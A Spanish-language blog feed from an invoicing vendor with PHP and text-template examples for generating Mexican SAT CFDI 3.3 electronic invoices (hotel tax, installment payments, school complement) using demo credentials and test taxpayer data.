<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-3480845951561464512018-11-26T10:15:00.000-06:002018-11-26T10:15:11.779-06:00Facturacion electronica SAT Ejemplo crear xml cfdi de Hoteles ISH en phpEjemplo crear xml cfdi de Hoteles ISH en php<br />
<br />
<span style="font-size: x-small;">// Se desactivan los mensajes de debug</span><br />
<span style="font-size: x-small;">error_reporting(~(E_WARNING|E_NOTICE));</span><br />
<span style="font-size: x-small;">//error_reporting(E_ALL);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica el complemento a usar</span><br />
<span style="font-size: x-small;">$datos['complemento']='implocal10';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO'; // [SI|NO]</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//Version cfdi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;">//RUTA DONDE ALMACENARA EL CFDI</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_arrendamiento.xml';</span><br />
<span style="font-size: x-small;">// OPCIONAL GUARDAR EL XML GENERADO ANTES DE TIMBRARLO</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_hoteles.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, ACTIVAR SOLO EN CASO DE CONFLICTOS</span><br />
<span style="font-size: x-small;">//$datos['remueve_acentos']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, UTILIZAR LA LIBRERIA PHP DE OPENSSL, DEFAULT SI</span><br />
<span style="font-size: x-small;">$datos['php_openssl']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s',time()-120);// Opcional "time()-120" para retrasar la hora 2 minutos para evitar falla de error en rango de fecha</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE'; // VER DOCUMENTACION :: EFECTIV0, CHEQUE, TARJETA DE CREDITO, TRANSFERENCIA BANCARIA, NO IDENTIFICADO</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01'; //PAGO EN UNA SOLA EXHIBICION, CREDITO 7 DIAS, CREDITO 15 DIAS, CREDITO 30 DIAS, ETC</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I'; </span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN'; // MXN USD EUR</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = 1; // OPCIONAL (MXN = 1.00, OTRAS EJ: USD = 13.45; EUR = 16.86)</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '27000';</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA </span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// IMPORTANTE PROBAR CON NOMBRE Y RFC REAL O GENERARA ERROR DE XML MAL FORMADO</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'SOHM7509289MA';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'MIGUEL ANGEL SOSA HERNANDEZ';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'P01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$concepto['ClaveProdServ'] = '84111506';</span><br />
<span style="font-size: x-small;">$concepto['cantidad'] = '1';</span><br />
<span style="font-size: x-small;">$concepto['unidad'] = 'PIEZA';</span><br />
<span style="font-size: x-small;">$concepto['ClaveUnidad'] = "ACT"; //ID, REF, CODIGO O SKU DEL PRODUCTO</span><br />
<span style="font-size: x-small;">$concepto['descripcion'] = "PRODUCTO PRUEBA 1";</span><br />
<span style="font-size: x-small;">$concepto['valorunitario'] = '1000.00'; // SIN IVA</span><br />
<span style="font-size: x-small;">$concepto['importe'] = '1000.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][0] = $concepto;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = '1000.00';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = '160.00'; </span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['subtotal'] = 1000.00; // sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = 0.00; // descuento sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = 1170.00; // total incluyendo impuestos</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados']='160.00';</span><br />
<span style="font-size: x-small;">$translado1['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$translado1['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$translado1['Importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;">$translado1['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0] = $translado1;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//EJEMPLO DE TRANSLADO IMPUESTO LOCAL</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TotaldeRetenciones']='0.00';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TotaldeTraslados']='10.00';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TrasladosLocales'][0]['ImpLocTrasladado']='ISH';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TrasladosLocales'][0]['TasadeTraslado']='0.03';</span><br />
<span style="font-size: x-small;">$datos['implocal10']['TrasladosLocales'][0]['Importe']=10.00;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-20132769560840661482018-11-25T09:57:00.000-06:002018-11-25T09:57:00.284-06:00Facturacion electronica SAT Ejemplo crear xml cfdi de parcialidades en phpEjemplo crear xml cfdi de parcialidades en php<br />
<br />
<br />
<br />
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO'; // [SI|NO]</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//Version cfdi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;">//RUTA DONDE ALMACENARA EL CFDI</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_arrendamiento.xml';</span><br />
<span style="font-size: x-small;">// OPCIONAL GUARDAR EL XML GENERADO ANTES DE TIMBRARLO</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_arrendamiento.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, ACTIVAR SOLO EN CASO DE CONFLICTOS</span><br />
<span style="font-size: x-small;">//$datos['remueve_acentos']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, UTILIZAR LA LIBRERIA PHP DE OPENSSL, DEFAULT SI</span><br />
<span style="font-size: x-small;">$datos['php_openssl']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s',time()-120);// Opcional "time()-120" para retrasar la hora 2 minutos para evitar falla de error en rango de fecha</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PPD'; // VER DOCUMENTACION :: EFECTIV0, CHEQUE, TARJETA DE CREDITO, TRANSFERENCIA BANCARIA, NO IDENTIFICADO</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01'; //PAGO EN UNA SOLA EXHIBICION, CREDITO 7 DIAS, CREDITO 15 DIAS, CREDITO 30 DIAS, ETC</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I'; //ingreso, egreso</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN'; // MXN USD EUR</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = 1; // OPCIONAL (MXN = 1.00, OTRAS EJ: USD = 13.45; EUR = 16.86)</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '27000';</span><br />
<span style="font-size: x-small;">//$datos['factura']['NumCtaPago'] = '0234'; //opcional; 4 DIGITOS pero obligatorio en transferencias y cheques</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/*$datos['factura']['FolioFiscalOrig'] = '3B985D09-26CD-4643-B39D-6D4F54E7D046';</span><br />
<span style="font-size: x-small;">$datos['factura']['SerieFolioFiscalOrig'] = 'A90';//OPCIONAL</span><br />
<span style="font-size: x-small;">$datos['factura']['FechaFolioFiscalOrig'] = '2017-07-27T02:12:58';</span><br />
<span style="font-size: x-small;">$datos['factura']['MontoFolioFiscalOrig'] = '12345.67';*/</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA </span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// IMPORTANTE PROBAR CON NOMBRE Y RFC REAL O GENERARA ERROR DE XML MAL FORMADO</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'SOHM7509289MA';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'MIGUEL ANGEL SOSA HERNANDEZ';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'P01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//AGREGAR 10 CONCEPTOS DE PRUEBA</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$concepto['ClaveProdServ'] = '84111506';</span><br />
<span style="font-size: x-small;"> $concepto['cantidad'] = '1';</span><br />
<span style="font-size: x-small;"> $concepto['unidad'] = 'NO APLICA';</span><br />
<span style="font-size: x-small;"> $concepto['ClaveUnidad'] = "A90"; //ID, REF, CODIGO O SKU DEL PRODUCTO</span><br />
<span style="font-size: x-small;"> $concepto['descripcion'] = "COBRO PARCIALIDAD DE VENTA A90";</span><br />
<span style="font-size: x-small;"> $concepto['valorunitario'] = '1000.00'; // SIN IVA</span><br />
<span style="font-size: x-small;"> $concepto['importe'] = '1000.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"> $datos['conceptos'][0] = $concepto;</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = '1000.00';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = '160.00'; </span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['subtotal'] = 1000.00; // sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = 1160.00; // total incluyendo impuestos</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados']='160.00';</span><br />
<span style="font-size: x-small;">$translado1['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$translado1['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$translado1['Importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;">$translado1['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0] = $translado1;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-69120746707842050222018-11-24T16:28:00.000-06:002018-11-24T16:28:01.163-06:00Ejemplo crear xml cfdi de complemento de escuelas IEDU SAT 2018 con archivos de texto desde el kit de desarrollo cfdi<br />
<br />
PLANTILLA DE TEXTO QUE CREA EL ARCHIVO XML CFDI DEL COMPLEMENTO DE ESCUELAS<br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">version_cfdi=3.3</span><br />
<span style="font-size: x-small;">complemento=iedu10</span><br />
<span style="font-size: x-small;">MODOINI=DIVISOR</span><br />
<span style="font-size: x-small;">cfdi=C:\sdk2\timbrados\cfdi_ejemplo_factura_escuela.xml</span><br />
<span style="font-size: x-small;">xml_debug=C:\sdk2\timbrados\sin_timbrar_ejemplo_factura_escuela.xml</span><br />
<span style="font-size: x-small;">remueve_acentos=NO</span><br />
<span style="font-size: x-small;">RESPUESTA_UTF8=SI</span><br />
<span style="font-size: x-small;">html_a_txt=NO</span><br />
<span style="font-size: x-small;">[PAC]</span><br />
<span style="font-size: x-small;">usuario=DEMO700101XXX</span><br />
<span style="font-size: x-small;">pass=DEMO700101XXX</span><br />
<span style="font-size: x-small;">produccion=NO</span><br />
<span style="font-size: x-small;">[conf]</span><br />
<span style="font-size: x-small;">cer=C:\SDK2\certificados\lan7008173r5.cer.pem</span><br />
<span style="font-size: x-small;">key=C:\SDK2\certificados\lan7008173r5.key.pem</span><br />
<span style="font-size: x-small;">pass=12345678a</span><br />
<span style="font-size: x-small;">[factura]</span><br />
<span style="font-size: x-small;">serie=F</span><br />
<span style="font-size: x-small;">folio=123</span><br />
<span style="font-size: x-small;">fecha_expedicion=2017-11-30T11:24:38</span><br />
<span style="font-size: x-small;">metodo_pago=PUE</span><br />
<span style="font-size: x-small;">forma_pago=01</span><br />
<span style="font-size: x-small;">condicionesDePago=condiciones</span><br />
<span style="font-size: x-small;">tipocomprobante=I</span><br />
<span style="font-size: x-small;">moneda=MXN</span><br />
<span style="font-size: x-small;">tipocambio=1.00</span><br />
<span style="font-size: x-small;">LugarExpedicion=27000</span><br />
<span style="font-size: x-small;">RegimenFiscal=601</span><br />
<span style="font-size: x-small;">subtotal=1000.00</span><br />
<span style="font-size: x-small;">total=1000.00</span><br />
<span style="font-size: x-small;">[emisor]</span><br />
<span style="font-size: x-small;">rfc=LAN7008173R5</span><br />
<span style="font-size: x-small;">nombre=CINDEMEX SA DE CV</span><br />
<span style="font-size: x-small;">RegimenFiscal=601</span><br />
<span style="font-size: x-small;">[receptor]</span><br />
<span style="font-size: x-small;">rfc=SOHM7509289MA</span><br />
<span style="font-size: x-small;">nombre=MIGUEL ANGEL SOSA HERNANDEZ</span><br />
<span style="font-size: x-small;">UsoCFDI=P01</span><br />
<span style="font-size: x-small;">[conceptos]</span><br />
<span style="font-size: x-small;">[conceptos.0]</span><br />
<span style="font-size: x-small;">ClaveProdServ=01010101</span><br />
<span style="font-size: x-small;">Cantidad=1</span><br />
<span style="font-size: x-small;">ClaveUnidad=C81</span><br />
<span style="font-size: x-small;">Unidad=NO APLICA</span><br />
<span style="font-size: x-small;">NoIdentificacion=COD1</span><br />
<span style="font-size: x-small;">Descripcion=MENSUALIDAD ENERO 2014</span><br />
<span style="font-size: x-small;">ValorUnitario=1000.00</span><br />
<span style="font-size: x-small;">Importe=1000.00</span><br />
<span style="font-size: x-small;">[iedu10]</span><br />
<span style="font-size: x-small;">nombreAlumno=FULANITO PEREZ OCHOA</span><br />
<span style="font-size: x-small;">CURP=MAGC870912HGTRRS06</span><br />
<span style="font-size: x-small;">nivelEducativo=Preescolar</span><br />
<span style="font-size: x-small;">autRVOE=1234-ABC</span><br />
<span style="font-size: x-small;">RFCPago=SOHM7509289MA</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<div>
MAS INFORMACION Y EJEMPLOS EN <a href="http://multifacturas.com/">http://multifacturas.com</a></div>
Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0